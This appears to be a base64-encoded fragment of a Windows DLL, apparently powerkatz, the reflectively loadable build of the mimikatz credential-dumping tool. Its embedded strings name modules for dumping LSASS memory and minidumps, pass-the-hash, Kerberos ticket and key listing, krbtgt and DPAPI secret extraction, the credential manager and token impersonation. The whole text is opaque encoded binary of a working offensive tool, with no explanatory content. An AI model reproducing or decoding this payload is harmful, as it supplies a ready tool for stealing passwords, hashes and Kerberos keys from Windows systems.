AHIAZABzAAAAAABMAGkAcwB0AHMAIABhAGwAbAAgAGEAdgBhAGkAbABhAGIAbABlACAAcAByAG8AdgBpAGQAZQByAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAbQBpAG4AaQBkAHUAbQBwACAAYwBvAG4AdABlAHgAdAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAAB0AGkAYwBrAGUAdABzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8ASQBOAFQARQBMACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABOAGUAdAB3AG8AcgBrAAAAQgBhAHQAYwBoAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAHIAdQBuAAAAeQBlAHMAAABuAG8AAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAE4AVABMAE0ACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAACoAKgAgAFQAbwBrAGUAbgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AIAAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoAAAAAAAoACQAgACoAIABMAE0AIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAARgBsAGEAZwBzACAAIAAgACAAOgAgAEkAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAAAAoACQAgACoAIABSAGEAdwAgAGQAYQB0AGEAIAA6ACAAAAAAAAoACQAgACoAIABTAG0AYQByAHQAYwBhAHIAZAAAAAAACgAJACAAIAAgACAAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAkAIAAgACAAJQBzACAAAAA8AG4AbwAgAHMAaQB6AGUALAAgAGIAdQBmAGYAZQByACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAPgAAAAAAJQB3AFoACQAlAHcAWgAJAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAJQAwADgAeAAgADoAIAAAAAAACgAJACAAIAAgACoAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAEQAYQB0AGEAOgAgACUALgAqAFMAAAAAAAoACQAgACAAIAAgACAAVQBuAGsALQBLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAACgAJAAkAIAAgACAAUwBTADoAJQB1ACwAIABUAFMAOgAlAHUALAAgAEQAUwA6ACUAdQAAAAAAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAALAAgADUAOgAwAHgAJQB4AAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAJACAAWwAlADAAOAB4AF0ACgAJACAAKgAgAEcAVQBJAEQAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAFQAaQBtAGUAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAACgAJACAAKgAgAHMAaABhADEAKABrAGUAeQApACAAOgAJAAAACgAJAEsATwAAAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABUAGkAYwBrAGUAdAAAAAAACgAJAEcAcgBvAHUAcAAgACUAdQAgAC0AIAAlAHMAAAAKAAkAIAAqACAASwBlAHkAIABMAGkAcwB0ACAAOgAKAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABQcmltYXJ5AENyZWRlbnRpYWxLZXlzAAAKAAkAIABbACUAMAA4AHgAXQAgACUAWgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwACAAOgAgAAAATwBLACAAIQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBzAHYAXwBlAG4AdQBtAF8AYwByAGUAZABfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAuAAAAAAAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAFAAUgBJAE0AQQBSAFkAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAAAAAABuAC4AZQAuACAAKABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAQ0NDQwAAAAAAAAAAAAAAAExMTEwAAAAAAAAAAAAAAAAXAAAAEQAAABIAAAADAAAAAAAAAAAAAAAAAAAABQAAAAAAAADldG9WAAAAAA0AAAC8AgAAZNcFAGS9BQAAAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAGEAAAAAAAAAAAeLQDEAAAAAAAAAAAAAAAAAABAAAAAAAARVRXMBAAAACGDgSIKwWKuwUFAAAAAAAAAAAgAAAvAABJbnZva2VNYWluVmlhQ1JUACJNYWluIEludm9rZWQuIgACRmlsZU5hbWUAAQUFAAAAAAAAAAAgAAAuAABFeGl0TWFpblZpYUNSVAAiTWFpbiBSZXR1cm5lZC4iAAJGaWxlTmFtZQABAisATWljcm9zb2Z0LkNSVFByb3ZpZGVyABMAARpzUE/PiYJHs+Dc6MkEdroBR0NUTAAQAABfAgAALnRleHQAAABgEgAABI4DAC50ZXh0JG1uAAAAAACwAwB4BAAALmlkYXRhJDUAAAAAeLQDAAQAAAAuMDBjZmcAAHy0AwAEAAAALkNSVCRYQ0EAAAAAgLQDAAQAAAAuQ1JUJFhDWgAAAACEtAMABAAAAC5DUlQkWElBAAAAAIi0AwAMAAAALkNSVCRYSUMAAAAAlLQDAAQAAAAuQ1JUJFhJWgAAAACYtAMABAAAAC5DUlQkWFBBAAAAAJy0AwAIAAAALkNSVCRYUFgAAAAApLQDAAQAAAAuQ1JUJFhQWEEAAACotAMABAAAAC5DUlQkWFBaAAAAAKy0AwAEAAAALkNSVCRYVEEAAAAAsLQDAAQAAAAuQ1JUJFhUWgAAAADAtAMA7CECAC5yZGF0YQAAsNYFABAAAAAucmRhdGEkekVUVzAAAAAAwNYFAHcAAAAucmRhdGEkekVUVzEAAAAAN9cFACwAAAAucmRhdGEkekVUVzIAAAAAY9cFAAEAAAAucmRhdGEkekVUVzkAAAAAZNcFALwCAAAucmRhdGEkenp6ZGJnAAAAINoFAAQAAAAucnRjJElBQQAAAAAk2gUABAAAAC5ydGMkSVpaAAAAACjaBQAEAAAALnJ0YyRUQUEAAAAALNoFAAQAAAAucnRjJFRaWgAAAAAw2gUAzAQAAC54ZGF0YSR4AAAAAADfBQBfAAAALmVkYXRhAABg3wUAGAEAAC5pZGF0YSQyAAAAAHjgBQAUAAAALmlkYXRhJDMAAAAAjOAFAHgEAAAuaWRhdGEkNAAAAAAE5QUAmhYAAC5pZGF0YSQ2AAAAAAAABgAwHwAALmRhdGEAAAAwHwYAPAsAAC5ic3MAAAAAADAGAFgAAAAucnNyYyQwMQAAAABgMAYAKAIAAC5yc3JjJDAyAAAAAAAAAAAAAAAAAAAAAAAAAAD/////444AEDqPABAAAAAA/////xuQABBykAAQAAAAAP////+GkQAQ3ZEAEAAAAAD/////a1oBEMJaARAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAADN8BEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACH3wEQAAAAAP7///8AAAAA1P///wAAAAD+////aeABEIjgARAAAAAA/v///wAAAADY////AAAAAP7///9S4wEQZeMBEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD5+gEQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAwtAhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAtSwCEAAAAAAAAAAAiCwCEP7///8AAAAA0P///wAAAAD+////AAAAAAMuAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA2i8CEAAAAADk////AAAAANT///8AAAAA/v///wAAAADMvwIQAAAAALS/AhDEvwIQ/v///wAAAADU////AAAAAP7///8AAAAAVMMCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAClwwIQAAAAAOT///8AAAAA1P///wAAAAD+////rsgCELLIAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAwNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADM1AIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAC3VAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAeNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAC85gIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHvoAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAru4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAe8AIQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAABD3AhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAvvkCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABj+wIQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAJT/AhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAqP0CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABKCwMQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAPsFAxAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAChADEAAAAADk////AAAAALT///8AAAAA/v///wAAAAAOEwMQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGEQAxAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAzxkDEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAA7OQMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAII7AxAAAAAA/v///wAAAADY////AAAAAP7///8JcQMQHHEDEAAAAAD+////AAAAAKj///8AAAAA/v///+ueAxD+ngMQAAAAAAAAAADkdG9WAAAAADLfBQABAAAAAQAAAAEAAAAo3wUALN8FADDfBQAmpgAAQN8FAAAAcG93ZXJrYXR6LmRsbABwb3dlcnNoZWxsX3JlZmxlY3RpdmVfbWltaWthdHoAAIzgBQAAAAAAAAAAAOjqBQAAsAMAwOEFAAAAAAAAAAAAjuwFADSxAwCM5AUAAAAAAAAAAAD67AUAALQDAMjjBQAAAAAAAAAAACztBQA8swMA1OMFAAAAAAAAAAAAAO4FAEizAwBQ5AUAAAAAAAAAAABC7gUAxLMDAPjjBQAAAAAAAAAAAIDvBQBsswMAYOQFAAAAAAAAAAAARPAFANSzAwBI5AUAAAAAAAAAAABm8AUAvLMDAIDkBQAAAAAAAAAAAJzwBQD0swMAAOIFAAAAAAAAAAAAEvEFAHSxAwA05AUAAAAAAAAAAACU8QUAqLMDAKjkBQAAAAAAAAAAAK7zBQActAMAGOIFAAAAAAAAAAAApvgFAIyxAwAAAAAAAAAAAAAAAAAAAAAAAAAAAATlBQAa5QUAKOUFADzlBQBQ5QUAYuUFAHblBQCK5QUAnuUFAK7lBQDA5QUA0uUFAOLlBQD25QUACuYFABrmBQAy5gUARuYFAF7mBQBw5gUAgOYFAIrmBQCW5gUApuYFAMLmBQDY5gUA8OYFAArnBQAe5wUALucFAD7nBQBQ5wUAYOcFAHTnBQCC5wUAlucFAK7nBQC+5wUAzucFAODnBQDw5wUAAugFABjoBQAy6AUAROgFAFToBQBq6AUAfugFAJLoBQCs6